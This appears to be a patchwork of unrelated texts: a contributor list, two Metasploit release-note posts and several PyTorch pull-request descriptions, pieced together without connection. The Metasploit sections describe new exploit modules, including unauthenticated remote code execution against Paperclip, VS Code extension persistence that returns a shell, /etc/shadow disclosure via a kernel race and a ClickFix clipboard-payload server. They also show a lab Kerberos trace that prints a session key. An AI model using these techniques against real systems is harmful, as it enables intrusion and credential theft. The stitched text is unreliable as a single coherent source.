@0z1-ghb, @0xdany, @0xneobyte, @0xyg3n, @1960697431, @895252509, @achaljhawar, @Adolanium, @AhmetArif0, @AIalliAI,
@aimable100, @AJ, @ak2k, @alarcritty, @AlchemistChaos, @aldoeliacim, @alelpoan, @AlexanderBFoley,
@alfred-smith-0, @ali-nld, @alt-glitch, @am423, @AMEOBIUS, @AMIK-coorporations, @annguyenNous, @ArcanePivot,
@ARegalado1, @asdlem, @ashishpatel26, @austinpickett, @banditburai, @barronlroth, @Bartok9, @basilalshukaili,
@bbednarski9, @bcsmith528, @benbarclay, @benegessarit, @benfrank241, @bionicbutterfly13, @BlackishGreen33,
@blut-agent, @bmoore210, @bpasquini, @briandevans, @BROCCOLO1D, @capt-marbles, @ccook1963, @Cdddo, @channkim,
@ChasLui, @chimpera, @chromalinx, @CiarasClaws, @claytonchew, @cnfi, @colinwren-stripe, @cresslank,
@cyb0rgk1tty, @dangelo352, @davidgut1982, @deaneeth, @definitelynotguru, @Diyoncrz18, @draix, @dschnurbusch,
@Dusk1e, @dusterbloom, @ehz0ah, @emozilla, @enesilhaydin, @erosika, @ethernet8023, @Evisolpxe, @firefly,
@flooryyyy, @flyinhigh, @foras910521-lab, @Frowtek, @ft-ioxcs, @fyzanshaik, @Ganesh0690, @gauravsaxena1997,
@giladbau, @glesperance, @GodsBoy, @goku94123, @H-Ali13381, @HaozheZhang6, @haran2001, @harshitAgr, @hbentel,
@helix4u, @HeLLGURD, @Hermes, @huangxun375-stack, @iamlukethedev, @ianculling, @IAvecilla, @iborazzi,
@infinitycrew39, @islam666, @ITheEqualizer, @itsflownium, @Jaaneek, @james47kjv, @jeeves-assistant,
@jeffrobodie-glitch, @JezzaHehn, @jiangkoumo, @jimjsong, @JimLiu, @JimStenstrom, @jmsunseri, @JoaoMarcos44,
@joel611, @JoelJJohnson, @joerj123, @johnjacobkenny, @jooray, @joshuadow, @jplew, @justinbao19, @Justlrnal4,
@Kailigithub, @kamonspecial, @kdunn926, @Kenmege, @Kewe63, @kmccammon, @konsisumer, @kristianvast,
@kshitijk4poor, @kyssta-exe, @l37525778-coder, @LaPhilosophie, @leo4226, @LeonSGP43, @liuhao1024, @Llugaes,
@loongfay, @LoongZhao, @lsaether, @m4dni5, @manishbyatroy, @MaxFreedomPollard, @maxmilian, @maxtrigify,
@mnajafian-nv, @mohamedorigami-jpg, @mollusk, @MrDiamondBallz, @mssteuer, @mvanhorn, @naqerl, @Nea74,
@necoweb3, @nepenth, @nicoloboschi, @NormallyGaussian, @OmarB97, @omegazheng, @OndrejDrapalik, @OutThisLife,
@oxngon, @OYLFLMH, @paperclip, @paulb26, @pengyuyanITYU, @PhilipAD, @pinguarmy, @plcunha, @ProgramCaiCai,
@psionic73, @qin-ctx, @qingshan89, @Que0x, @qWaitCrypto, @r266-tech, @randomsnowflake, @rbrtbn, @rewbs,
@rio-jeong, @Rivuza, @rob-maron, @rodboev, @ruangraung, @RyTsYdUp, @Sahil-SS9, @salesondemandio, @sanidhyasin,
@sarvesh1327, @sdyckjq-lab, @shannonsands, @SHL0MS, @simpolism, @sitkarev, @skyc1e, @skylarbpayne, @SNooZyy2,
@Spaceman-Spiffy, @srojk34, @sweetcornna, @synapsesx, @Tamaz-sujashvili, @tangtaizong666, @temalo, @tfournet,
@thedavidweng, @TheGardenGallery, @tim404x, @tomekpanek, @Tranquil-Flow, @tt-a1i, @tuancookiez-hub,
@underthestars-zhy, @Veritas-7, @victor-kyriazakos, @wesleysimplicio, @WolframRavenwolf, @WompaJango, @x1erra,
@xiaoxinova, @xtymac, @xushibo, @XVVH, @xxchan, @xxxigm, @xy200303, @y0shua1ee, @yanxue06, @yatesjalex,
@YLChen-007, @yoniebans, @youjunxiaji, @yubingz, @zakame, @zapabob, @zccyman, @zimigit2020, @ziwon, @zwcf5200,
@zxcasongs.

Full Changelog: v2026.6.5...v2026.6.19

On the enhancement side, the new MCP server plugin lets AI tools assist operators directly within a running msfconsole instance, and module check codes now return richer detail for users.

New module content (5)

Paperclip AI RCE using a chain of six API calls (CVE-2026-41679)

Authors: Sagilayani https://github.com/sagilayani and h00die-gr3y h00die.gr3y@gmail.com

Type: Exploit

Pull request: #21547 contributed by h00die-gr3y

Path: linux/http/paperclipai_unauth_rce_cve_2026_41679

AttackerKB reference: CVE-2026-41679

Description: Adds an exploit module for CVE-2026-41679 which exploits Paperclip. An unauthenticated attacker can achieve full remote code execution on any network-accessible Paperclip instance running in authenticated mode with default configuration. The entire chain is six API calls.

Xerte Online Toolkits Arbitrary File Upload - Unauthenticated Media Upload

Author: bootstrapbool bootstrapbool@gmail.com

Type: Exploit

Pull request: #21371 contributed by bootstrapbool

Path: multi/http/xerte_unauthenticated_mediaupload

AttackerKB reference: CVE-2026-41459

Description: Exploits authentication failure (CVE-2026-34413), extension blacklist (CVE-2026-34415), and path traversal (CVE-2026-34414) vulnerabilities in Xerte Online Toolkits versions 3.15 and earlier.

VS Code Extension Persistence

Author: h00die

Type: Exploit

Pull request: #21465 contributed by h00die

Path: multi/persistence/vscode_extension

Description: Adds a new persistence module that achieves persistence by installing a malicious extension into a user's VS Code extensions directory. The next time the target opens VS Code, the extension executes and delivers a shell back to the attacker.

NTLM Relay to Self (HTTP to LDAP) - Post Exploitation

Author: jheysel-r7

Type: Exploit

Pull request: #21430 contributed by jheysel-r7

Path: windows/local/ntlm_relay_2_self

Description: Adds a module that exploits the NTLMRelay2Self attack. It requires a low-privilege user session on a Windows host.

Linux Kernel __ptrace_may_access() Exit Race Change File Disclosure

Authors: 0xdeadbeefnetwork and bhaskarbhar

Type: Post

Pull request: #21472 contributed by bhaskarbhar

Path: linux/gather/cve_2026_46333_chage

AttackerKB reference: CVE-2026-46333

Description: Adds a post module that leverages CVE-2026-46333, a vulnerability in the Linux kernel whereby a race condition exists when tearing down a process. A local attacker can exploit this to obtain file handles they would not otherwise have access to. In the exploit, this is leveraged to leak the contents of the /etc/shadow file.

Enhancements and features (7)

• #21254 from golem445 - Nmap imports will include domain name if supplied by the user for the scan.
• #21259 from g0tmi1k - Adds a number of enhancements to msfconsole's search functionality by cleaning up some inconsistencies and giving users the option to hide the child elements of search results with the -c flag. Also introduces two global options, SearchSort and SearchChildMode, that users can set and forget in order to control ascending/descending search results and whether or not child items appear under search results respectively.
• #21367 from g0tmi1k - Adds a number of enhancements to the rexec_login module including more detailed output, a check for an rDNS failure, an update to the module description, and removal of duplicate IP:PORT printing.
• #21454 from adfoster-r7 - Updates many modules by adding additional details to the check codes that are returned by the #check method, which provides additional information for the user. Also updates the requirements of new modules to contain this extra information moving forward.
• #21512 from adfoster-r7 - Updates the Metasploit MCP tool to expose note information on Metasploit modules, as well as host comments.
• #21537 from dwelch-r7 - Adds a plugin to start and stop a Model Context Protocol (MCP) server within msfconsole. When compared to the standalone msfmcpd tool, this has the significant advantage of automatically loading the RPC server within the context of a running framework instance which enables AI tools to assist the operator without needing to restart Metasploit.
• #21542 from h00die - Updates the scanner/redis/redis_server module to output server INFO details as a readable table.

Bugs fixed (4)

• #21441 from dwelch-r7 - Improves the MCP server lifecycle control and enables graceful shutdowns by transitioning from Rack's handler to direct Puma server API management.
• #21564 from adfoster-r7 - Fixes a crash in the smb_version module when run against SMBv1 targets.
• #21570 from sjanusz-r7 - Fixes an issue where it was not possible to generate ARM Big Endian payloads.
• #21571 from dwelch-r7 - Deleted files are now excluded when running msfconsole reload commands.

Documentation

You can find the latest Metasploit documentation on our docsite at docs.metasploit.com.

Get it

As always, you can update to the latest Metasploit Framework with msfupdate and you can get more details on the changes since the last blog post from GitHub:

• Pull Requests 6.4.137...6.4.139
• Full diff 6.4.137...6.4.139

If you are a git user, you can clone the Metasploit Framework repo (master branch) for the latest. To install fresh without using git, you can use the open-source-only Nightly Installers or the commercial edition Metasploit Pro

Install rustfmt/clippy and release matrix targets through dtolnay/rust-toolchain@master with toolchain 1.88 so CI and release jobs match the pinned workspace toolchain.

Verified: ./scripts/release/check-versions.sh; git diff --check

Bug Fixes

• preserve transport literal suggestions (#5469) (d8f392e)

Dependencies

• ws@~8.21.0 (diff)

Reverted #186877 on behalf of https://github.com/huydhn due to Diff reverted internally (comment)

Render complex constants with a zero real or imaginary component as complex(real, imag) through the existing recursive argument printer. Float repr preserves -0.0, so those generated constants round-trip signed zero components. Nonzero complex constants keep the existing repr() path to avoid changing the common codegen case.

Fixes #153852

Generated by my agent

Benchmark Results:

• FX GraphModule construction with 1000 zero-component complex constants, 80 iterations x 7 repeats, median: main 3.55 ms/graph; this diff 6.77 ms/graph. This is the affected correctness path that now emits complex(real, imag) to preserve signed zero.

• FX GraphModule construction with 1000 nonzero complex constants, same command shape, median: main 4.29 ms/graph; this diff 3.90 ms/graph. Nonzero constants remain on the existing repr() path; the difference is measurement noise.

Test Plan:

• python test/dynamo/test_repros.py ReproTests.test_compile_complex_tensor_constant_signed_zero

• python test/test_fx.py TestFX.test_complex_constant_codegen_preserves_signed_zero (direct run blocked locally before target test by unrelated torchvision::nms registration failure)

• targeted TestFX.test_complex_constant_codegen_preserves_signed_zero via a torchvision import stub

• lintrunner -a

• git diff --check

Pull Request resolved: #185550
Approved by: https://github.com/desertfire

Imports TypeVar from typing_extensions alongside ParamSpec so both type parameters use the same default-sentinel machinery when another vendored typing_extensions copy has monkeypatched typing internals. This preserves the existing CachedMethod[P, RV] convention while avoiding the import-time TypeError.

Test Plan:

• python3 -m py_compile torch/_inductor/utils.py
• /Users/dejain/.cache/codex-runtimes/codex-primary-runtime/dependencies/python/bin/python3 minimized repro that loads a second typing_extensions copy and defines CachedMethod(Protocol, Generic[P, RV])
• git diff --check

Pull Request resolved: #185708
Approved by: https://github.com/Skylion007, https://github.com/jansel

Reverted #186346 on behalf of https://github.com/wdvr due to Diff reverted internally (comment)

As hard as we try to ensure that Metasploit is bug free, issues inevitably come up. Whether you’re running a module on an op or writing a new one, what we can do is make the debugging experience easier. To that end one of our two Google Summer of Code (GSoC) projects is here to deliver. Building on the previous pattern of HttpTrace comes two new options KerberosTicketTrace and CertificateTrace. These options, when enabled, will enable debugging output of Kerberos tickets and Certificates that are both sent and received by applicable modules. Now when things aren’t going quite right, users have new levers to reach for to inspect what’s happening under the hood.

For example, to inspect exactly what’s happening when using the auxiliary/admin/kerberos/get_ticket module:

msf auxiliary(admin/kerberos/get_ticket) > set KerberosTicketTrace true 
KerberosTicketTrace => true
msf auxiliary(admin/kerberos/get_ticket) > run
[*] Running module against 192.168.159.10
[*] 192.168.159.10:88 - Getting TGT for smcintyre@msflab.local
####################
# Kerberos Request: AS-REQ
####################
Protocol Version: 5
Message Type: 10 (AS-REQ)
Pre-Authentication Data:
  Entry[0]:
    Type: 128 (PA_PAC_REQUEST)
    Value: [binary 7 bytes: 3005a0030101ff]
Request Body:
  KDC Options:
    Value: 1082195984
    Flags:
      - FORWARDABLE
      - RENEWABLE
      - CANONICALIZE
      - RENEWABLE_OK
  Client Name:
    Name Type: 1 (NT_PRINCIPAL)
    Name String:
      - smcintyre
  Realm: MSFLAB.LOCAL
  Server Name:
    Name Type: 1 (NT_PRINCIPAL)
    Name String:
      - krbtgt
      - MSFLAB.LOCAL
  Till: 2026-06-12T18:21:36Z
  Rtime: 2026-06-12T18:21:36Z
  Nonce: 6831592
  Encryption Type:
    - 18 (AES256)
    - 17 (AES128)
    - 23 (RC4_HMAC)
    - 3 (DES_CBC_MD5)
    - 16 (DES3_CBC_SHA1)
####################
# Kerberos Response: KRB-ERROR
####################
Protocol Version: 5
Message Type: 30 (KRB-ERROR)
Server Time: 2026-06-11T18:21:36Z
Server Microseconds: 862696
Error Code:
  Name: KDC_ERR_PREAUTH_REQUIRED
  Value: 25
  Description: Additional pre-authentication required
Realm: MSFLAB.LOCAL
Server Name:
  Name Type: 1 (NT_PRINCIPAL)
  Name String:
    - krbtgt
    - MSFLAB.LOCAL
Error Data: [binary 87 bytes: 30553032a103020113a22b04293027301ea003020112a1171b154d53464c41422e4c4f43414c736d63696e747972653005a0030201173009a103020102a20204003009a103020110a20204003009a10302010fa2020400]
####################
# Kerberos Request: AS-REQ
####################
Protocol Version: 5
Message Type: 10 (AS-REQ)
Pre-Authentication Data:
  Entry[0]:
    Type: 2 (PA_ENC_TIMESTAMP)
    Value: [binary 67 bytes: 3041a003020112a23a0438724f4965bd3deb1f061e807b616a09b613f59d9a6749eaee895e2ec3ed3045403cb28874acaa371681e3957a3ec23879141411ba788886f3]
  Entry[1]:
    Type: 128 (PA_PAC_REQUEST)
    Value: [binary 7 bytes: 3005a0030101ff]
Request Body:
  KDC Options: 1350565888
  Client Name:
    Name Type: 1 (NT_PRINCIPAL)
    Name String:
      - smcintyre
  Realm: MSFLAB.LOCAL
  Server Name:
    Name Type: 1 (NT_PRINCIPAL)
    Name String:
      - krbtgt
      - MSFLAB.LOCAL
  Till: 2026-06-12T18:21:36Z
  Rtime: 2026-06-12T18:21:36Z
  Nonce: 7068778
  Encryption Type:
    - 18 (AES256)
    - 23 (RC4_HMAC)
####################
# Kerberos Response: AS-REP
####################
Protocol Version: 5
Message Type: 11 (AS-REP)
Pre-Authentication Data:
  Entry[0]:
    Type: 19 (PA_ETYPE_INFO2)
    Value: [binary 34 bytes: 3020301ea003020112a1171b154d53464c41422e4c4f43414c736d63696e74797265]
Client Realm: MSFLAB.LOCAL
Client Name:
  Name Type: 1 (NT_PRINCIPAL)
  Name String:
    - smcintyre
Ticket:
  Ticket Version Number: 5
  Realm: MSFLAB.LOCAL
  Server Name:
    Name Type: 1 (NT_PRINCIPAL)
    Name String:
      - krbtgt
      - MSFLAB.LOCAL
  Encrypted Part:
    Encryption Type: 18 (AES256)
    Key Version Number: 2
    Cipher: [binary 1098 bytes: a3b825bd279344fd0bc454654f7906e31c8f4918c7c69319515e6a722515b55da36e2ae26f107d9f6278b029ba4c1b937a8a4e9df04f4a54da43794b2216fd5d7762582e94e3aa72fd14bfa0cfb9ff5c9a138acecd57351ff7ca98a9d7d890445316b04359e9210f93ba72c578a1605fb5502ba00fe67d9b55417e356e6400ef3bd07b9e1a8e4aedeb62249bef9f56f0cda3a30969d33fe6999a4855ae8f666b82fdff29047b14d4bcd77b31a6b9ce1ee3a4425cd197250af0cc878995afbeb4de42fb7e55d6095ab27ab3fa7f0afb0010b8e8f5e721a3d0417c7342df77619f6520e726652dc4417d2dbc044529236557441f87a50a7188242fb177e5f1bd45d31902c877d51cd05af7215e520c410e9b7036bc78c1ddad458b0ad99832c4fdd6f8f523ca4241aee8ebce4a0000202ebfb870761833feffc2c248683751a11d556bba4c59b20c7a1627b187d4d4679e19b1928f3ab7edeef3f01b459324178a9e49976519b58d6d7164b29c77e20625c4e710e3bbb0bb32452d4bdb9ed0c3e9873b9511cadf36fb0b372af5f67310319f160c0242d2fff1095bc467c4eb6da0382ab0587d519e5390e56eacb6db4f98c2c25b7ac22edf40db2e0e0eca03dfeba48327916a8caa85c382d04dcea16116c76132dcbfc168b7e3435a37f812f479f1e8309b124a9dcbac1e2ae83063a5e49c1ea584f13f64832c713577f07b3229e83c0fe73c3dc350640a69ea643ef24b66ed17114c262d3e5cdddb8182d8da49173e597b23d94f8ef652433713bf1d5e91c7f984945940d27755584137b00baa9696cdd121c641870830ffc86c8f9989254b6b804912c4989014b3f849cd02e6b06d3cc6401fd3f830cfcd36a0ecf31309d5b6dc82a65b427818694002bcf5fac9c936e1d64205a397126f39f684903803a5405baff041881339c4c8d325a2f446178b66383c209f3dba61bdda626f6e6d63c473638191e447d58aebfcb5a98104c2f96afa3283ac3aca675937afd7c497f1bd41a3dd1b52a6a16db791421a4ab9189d9fa0d610713d9c1eeb2f9c46d6ea197f48e2e643fe773ece0855c63b44b6020044fb7cc1396b26b4747941484b73108b7c1c90e2670cf723033274cc24ceb66a7054b35a9653cd7391a4f81b2c977ee251c9295e47be46b14c66b4031c6758415e543153bde190af0f1abe0f207d84145e3521850f89765997ab72cccaaeb4c5ce8b8be9b33712090d59424c2517e4cd539740750f5792f171fec2b4e4b4bc00cb77bc308abe1b70c75684734aa9ef03c4b419d2e10b4ea6229faf5a4b2af9483156ea32bc4b298f158067ac45afd5c812c407bda57880434cb93a60ac19799004a9adc72d845401ebb8e2a31ed0edf539233d293b1141bb49b36b6475d87c0fd114d97a946e82e39ed58e6c2e0d72826059600d412bd05aaf0af5602ade2f1ff6db363ec33e25756c4bc417b248344ba19ecd8d80d2cd2c2ff32aa355c22ee96166fc7043204dcc48b5595416c4312855c7d6e31d422c93c1d6f3df1a5890b45fc55f1b757b8e]
Encrypted Part:
  Encryption Type: 18 (AES256)
  Key Version Number: 3
  Cipher: [binary 271 bytes: 357637faf370a69ec4780f1fc4308e3d639e59ebbdb5d208cf6df75470bcefdd5210a098aa716055f758d9ec58674abc4b56cec2923329309e2be192db3ee1a63c6f0133a96c440707a0f29f2e075f90c54e2ab7626132f8e898112f81cbde6905d992d9ec6a4c26087043ea8f97c1a876354c47b4a6a76e3321f42edc483530d5248f8daa01db15ab019ac4179dfdb5f6d6c1f2666b9983cd02989612acdad2b2efe352fb9708a080fd304d17a87ff1e152dc8ca981de6cff418f38c5c28612766bfc13fbac51bad1a01fcd7aae544c7d839124e1bce745d20d06c8aca5c7125afe069e8d5299a10cd27b392bd8ae3893181f132f3d49dd746c6c70c6d2b651df998c59be84f2d5b83e5b3c0a71b2]
[+] 192.168.159.10:88 - Received a valid TGT-Response
[*] 192.168.159.10:88 - TGT MIT Credential Cache ticket saved to /home/smcintyre/.msf4/loot/20260611142136_default_192.168.159.10_mit.kerberos.cca_918073.bin
####################
# Kerberos Credential: TGT
####################
Creds: 1
  Credential[0]:
    Server: krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL
    Client: smcintyre@MSFLAB.LOCAL
    Ticket etype: 18 (AES256)
    Key: 58b969939485b53dee75e4399253524d132cc2ca145f4da4e4951c04a843e544
    Subkey: false
    Ticket Length: 1188
    Ticket Flags: 0x50e10000 (FORWARDABLE, PROXIABLE, RENEWABLE, INITIAL, PRE_AUTHENT, CANONICALIZE)
    Addresses: 0
    Authdatas: 0
    Times:
      Auth time: 2026-06-11 14:21:36 -0400
      Start time: 2026-06-11 14:21:36 -0400
      End time: 2026-06-12 00:21:36 -0400
      Renew Till: 2026-06-12 14:21:36 -0400
    Ticket:
      Ticket Version Number: 5
      Realm: MSFLAB.LOCAL
      Server Name: krbtgt/MSFLAB.LOCAL
      Encrypted Ticket Part:
        Ticket etype: 18 (AES256)
        Key Version Number: 2
        Cipher:
          o7glvSeTRP0LxFRlT3kG4xyPSRjHxpMZUV5qciUVtV2jbiribxB9n2J4sCm6TBuTeopOnfBPSlTaQ3lLIhb9XXdiWC6U46py/RS/oM+5/1yaE4rOzVc1H/fKmKnX2JBEUxawQ1npIQ+TunLFeKFgX7VQK6AP5n2bVUF+NW5kAO870HueGo5K7etiJJvvn1bwzaOjCWnTP+aZmkhVro9ma4L9/ykEexTUvNd7Maa5zh7jpEJc0ZclCvDMh4mVr7603kL7flXWCVqyerP6fwr7ABC46PXnIaPQQXxzQt93YZ9lIOcmZS3EQX0tvARFKSNlV0Qfh6UKcYgkL7F35fG9RdMZAsh31RzQWvchXlIMQQ6bcDa8eMHdrUWLCtmYMsT91vj1I8pCQa7o685KAAAgLr+4cHYYM/7/wsJIaDdRoR1Va7pMWbIMehYnsYfU1GeeGbGSjzq37e7z8BtFkyQXip5Jl2UZtY1tcWSynHfiBiXE5xDju7C7MkUtS9ue0MPphzuVEcrfNvsLNyr19nMQMZ8WDAJC0v/xCVvEZ8TrbaA4KrBYfVGeU5Dlbqy220+YwsJbesIu30DbLg4OygPf66SDJ5FqjKqFw4LQTc6hYRbHYTLcv8Fot+NDWjf4EvR58egwmxJKncusHiroMGOl5JwepYTxP2SDLHE1d/B7MinoPA/nPD3DUGQKaepkPvJLZu0XEUwmLT5c3duBgtjaSRc+WXsj2U+O9lJDNxO/HV6Rx/mElFlA0ndVWEE3sAuqlpbN0SHGQYcIMP/IbI+ZiSVLa4BJEsSYkBSz+EnNAuawbTzGQB/T+DDPzTag7PMTCdW23IKmW0J4GGlAArz1+snJNuHWQgWjlxJvOfaEkDgDpUBbr/BBiBM5xMjTJaL0RheLZjg8IJ89umG92mJvbm1jxHNjgZHkR9WK6/y1qYEEwvlq+jKDrDrKZ1k3r9fEl/G9QaPdG1KmoW23kUIaSrkYnZ+g1hBxPZwe6y+cRtbqGX9I4uZD/nc+zghVxjtEtgIARPt8wTlrJrR0eUFIS3MQi3wckOJnDPcjAzJ0zCTOtmpwVLNallPNc5Gk+Bssl37iUckpXke+RrFMZrQDHGdYQV5UMVO94ZCvDxq+DyB9hBReNSGFD4l2WZercszKrrTFzouL6bM3EgkNWUJMJRfkzVOXQHUPV5Lxcf7CtOS0vADLd7wwir4bcMdWhHNKqe8DxLQZ0uELTqYin69aSyr5SDFW6jK8SymPFYBnrEWv1cgSxAe9pXiAQ0y5OmCsGXmQBKmtxy2EVAHruOKjHtDt9TkjPSk7EUG7SbNrZHXYfA/RFNl6lG6C457VjmwuDXKCYFlgDUEr0FqvCvVgKt4vH/bbNj7DPiV1bEvEF7JINEuhns2NgNLNLC/zKqNVwi7pYWb8cEMgTcxItVlUFsQxKFXH1uMdQiyTwdbz3xpYkLRfxV8bdXuO
[*] Auxiliary module execution completed
msf auxiliary(admin/kerberos/get_ticket) >

Stay tuned for future enhancements like KerberosTicketTraceLevel which should have verbosity toggles such as meta, ticket, and full. We’d like to thank our GSoC contributors eve0805 and Pushpenderrathore for their hard work on this project.

Upcoming Evasion Module Changes

Metasploit is currently reconsidering the UX of evasion modules whereby users are currently required to use the module, set the payload, run it, then return to their exploit and copy the generated output from the evasion module into the exploit. This is a cumbersome process and we think we can do better but before we commit to a direction, we are soliciting feedback from the community on what they think would be the best path forward. To that end, we’ve published a writeup of the options we’re considering and a form through which we’re hoping to receive feedback. The form contains 3 questions and will be open until July 1st, 2026.

New module content (1)

ClickFix Server

Authors: boredchilada and h00die

Type: Exploit

Pull request: #21212 contributed by h00die

Path: multi/misc/clickfix_server

Description: Adds a new Metasploit exploit module exploit/multi/misc/clickfix_server that runs an HTTP server to deliver a "ClickFix"-style social-engineering page which copies a generated command payload to the victim’s clipboard that they are prompted execute.

Enhancements and features (9)

• #21008 from EclipseAditya - Adds kernel_rex_version to Msf::Post::Linux::Kernel, a new helper that extracts the upstream kernel version from uname -r and returns a Rex::Version. This eliminates an ArgumentError crash that occurred when 15+ Linux local exploit modules encountered distro-specific kernel version suffixes.
• #21198 from Pushpenderrathore - This adds a CertificateTracePresenter, implementing certificate tracing using the presenter pattern aligned with existing Metasploit conventions. This can be enabled by setting the CertificateTrace datastore option when using modules like icpr_cert and get_ticket to see the X.509 certificates being sent and received.
• #21222 from g0tmi1k - Standardizes the log output across many Metasploit modules to improve the host and port log details when IPv6 addresses are present.
• #21266 from zeroSteiner - This improves how we log SMB services. If the service is detected but authentication fails, the client still logs what dialect was negotiated so we log the service even if we couldn't authenticate to it.
• #21383 from zeroSteiner - This bumps Ruby SMB to version 3.1.21 and closes a feature gap between Ruby SMB and the Rex SMB client. With the feature gap closed, modules/auxiliary/admin/smb/samba_symlink_traversal.rb can now be switched from Rex to the RubySMB client. One less module in the way of dropping the ancient Rex client.
• #21466 from eve0805 - This adds introduces KerberosTicketTrace support as a datastore option for Metasploit's Kerberos authentication flows. Enabling KerberosTicketTrace allows users to see the following requests and responses as they are sent and received: AS-REQ, AS-REP, TGS-REQ, TGS-REP, KRB-ERROR. Inbound messages are colored blue and outgoing messages are colored red to match the existing HttpTrace functionality. The coloring can be turned off and on with the KerberosTicketTraceColors datastore option.
• #21528 from h00die - This PR updates Metasploit module metadata by adding Exploit-DB (EDB) reference IDs to existing modules that already have CVE references, improving cross-referencing for higher-fidelity vulnerability tracking.
• #21535 from adfoster-r7 - Updates multiple HTTP login scanners to validate the remote target as a pre-requisite to running the login attempts.
• #21554 from sjanusz-r7 - Make WebDAV upload PHP exploit checks less strict.

Bugs fixed (4)

• #20618 from Aaditya1273 - Updates the MSSQL modules to no longer crash when running stored procedures like EXEC sp_linkedservers; against a remote host.
• #21543 from sjanusz-r7 - Addresses a recent issue stemming from the recently-made changes to the webdav upload php module, where a false positive was being reported based on only the response code.
• #21549 from 4ravind-b - Adds the missing https://github.com/advisories/GHSA-hxj9-549w-4pcq reference to modules/auxiliary/scanner/smtp/smtp_relay.rb.
• #21557 from adfoster-r7 - Fixes a db_import crash when importing zip files.

Documentation

You can find the latest Metasploit documentation on our docsite at docs.metasploit.com.

Get it

As always, you can update to the latest Metasploit Framework with msfupdate and you can get more details on the changes since the last blog post from GitHub:

• Pull Requests 6.4.136...6.4.137
• Full diff 6.4.136...6.4.137

If you are a git user, you can clone the Metasploit Framework repo (master branch) for the latest. To install fresh without using git, you can use the open-source-only Nightly Installers or the commercial edition Metasploit Pro

Introduce the torchcomms _single collective names on the C++ c10d::Backend and migrate the in-tree backends to define them, while keeping the old names fully working for backward compatibility.

Backend now declares all_gather_single, all_gather_single_coalesced, reduce_scatter_single, reduce_scatter_single_coalesced, and all_to_all_single alongside the existing _allgather_base, allgather_into_tensor_coalesced, _reduce_scatter_base, reduce_scatter_tensor_coalesced, and alltoall_base, which are kept as overridable, forwarding aliases.

Backward compatibility is preserved in both directions: each new method and its old-name alias forward to each other, so a Backend subclass may override EITHER name and a caller may invoke EITHER name. The old aliases simply forward to the canonical _single method; each canonical method opens with the C10D_BACKEND_FORWARDING_GUARD() macro, which installs a function-local thread-local re-entry flag using __func__ for the message. If a backend overrides neither name the mutual forwarding re-enters the canonical method, the flag trips, and it reports "does not support " instead of recursing forever. As a result, existing callers of the old names (first-party and out-of-tree) and existing out-of-tree backends that override the old names both keep working unchanged. Removing the old overrides outright would have broken out-of-tree backends on the dispatch path, and dropping the old caller-facing names would have broken direct callers; the bidirectional forwarding avoids both.

The old names are intentionally NOT marked C10_DEPRECATED_MESSAGE in this change. PyTorch's open-source build compiles the bundled third_party/torch-xpu-ops submodule with -Werror -Wdeprecated, and its XPU collective op registration (xccl/Register.cpp) still calls the old Backend names, so a compile-time deprecation turns into a hard build error there. The deprecation will be reintroduced in a follow-up once those callers (and any other out-of-tree backends that are built in-tree) are migrated to the _single names and the submodule pin is bumped.

The in-tree backends are migrated to define the new names: ProcessGroupNCCL, ProcessGroupGloo, ProcessGroupMPI, ProcessGroupUCC, ProcessGroupWrapper, FakeProcessGroup, NCCLXStub, and the torch_openreg (ProcessGroupOCCL) test backend. The dispatcher op implementations in Ops.cpp, ProcessGroupWrapper's forwarders, and the Backend pybind bindings in init.cpp use the new names.

The underlying aten / c10d dispatcher op names (c10d::_allgather_base_, c10d::alltoall_base_, etc.), their schema strings, the IMPL_* macro names in Ops.cpp, and the OpType enum values are intentionally left unchanged for backward compatibility.

Suggested review order: Backend.hpp (the new/old method pairs and the bidirectional forwarding + ForwardingGuard), then the per-backend subclass renames, then the Ops.cpp / ProcessGroupWrapper / init.cpp call sites.

This diff was authored with the assistance of an AI coding agent (Claude).

Test Plan:
This revision only removes the compile-time deprecation annotations (C10_DEPRECATED_MESSAGE), their -Wdeprecated-declarations suppressions, and the now-unused <c10/util/Deprecated.h> include. The _single rename and the bidirectional forwarding/recursion guard are unchanged, so there is no runtime or codegen change -- dropping the annotations only removes deprecation warnings.

Verified by open-source CI on the exported commit: the full libtorch build across platforms, the linux-noble-xpu-n-py3.10 / build-osdc job (which compiles the bundled torch-xpu-ops xccl/Register.cpp with -Werror -Wdeprecated and previously failed on -Werror=deprecated-declarations), and the lintrunner-clang format jobs.

Reviewed By: kapilsh

Differential Revision: D108364288

Root cause: the unified inline manywheel build job (cpu/cpu-aarch64/
cuda/cuda-aarch64) checks out the raw commit via ref: github.sha with
fetch-depth: 2. Checking out a bare SHA does not fetch the tag ref, so
tagged_version() in .ci/pytorch/binary_populate_env.sh
(git describe --tags --exact) fails and the build falls through to the
<version>.dev<DATE> default. binary_populate_env.sh then takes its
.*dev.* branch and appends +git<triton-shorthash> to the triton
requirement that gets baked into the wheel metadata.

Fix: add fetch-tags: true to the inline build job checkout in the
linux binary build template so the tag pointing at the checked-out
commit is fetched, letting git describe --tags --exact succeed and the
build resolve to the release version. The ROCm/XPU/s390x builds use the
reusable _binary-build-linux.yml whose checkout has no pinned ref (it
uses the default tag ref for a tag push) and are unaffected.

This is the same class of bug fixed for the older checkout-pytorch path
in #180508; this covers the inlined unified build job introduced since.

Test Plan:

Regenerated the workflows from the template and confirmed only the two
linux manywheel workflows change, each gaining fetch-tags: true on its
four unified build jobs:

python3 .github/scripts/generate_ci_workflows.py
git diff --stat .github/workflows
grep -c 'fetch-tags: true' \
  .github/workflows/generated-linux-binary-manywheel-nightly.yml \
  .github/workflows/generated-linux-aarch64-binary-manywheel-nightly.yml

Validated the regenerated YAML parses and passes actionlint (the only
reported shellcheck warnings are pre-existing on the base files):

python3 -c "import yaml; yaml.safe_load(open(f)) for f in (...)"
lintrunner --take ACTIONLINT \
  .github/workflows/generated-linux-binary-manywheel-nightly.yml \
  .github/workflows/generated-linux-aarch64-binary-manywheel-nightly.yml

This PR was authored with the assistance of an AI coding assistant.

Propagate the bool-mask IoU options through the object and numpy recursive same() paths, enable the existing IoU comparator for the two affected Detectron2 Mask R-CNN models, and update the CPU freezing expected-accuracy files to pass.

Fixes #127073

Generated by my agent

Test Plan:

python test/dynamo/test_utils.py -k TestUtils.test_same_iou_for_bool_propagates_to_instances

python -m unittest benchmarks.dynamo.test.TestDynamoBenchmark.test_detectron2_maskrcnn_uses_iou_for_bool_masks

Local Detectron2 benchmark workaround for detectron2_maskrcnn_r_101_fpn and detectron2_maskrcnn_r_50_c4 with --accuracy --inference --device cpu --inductor --freezing reported pass

git diff --check

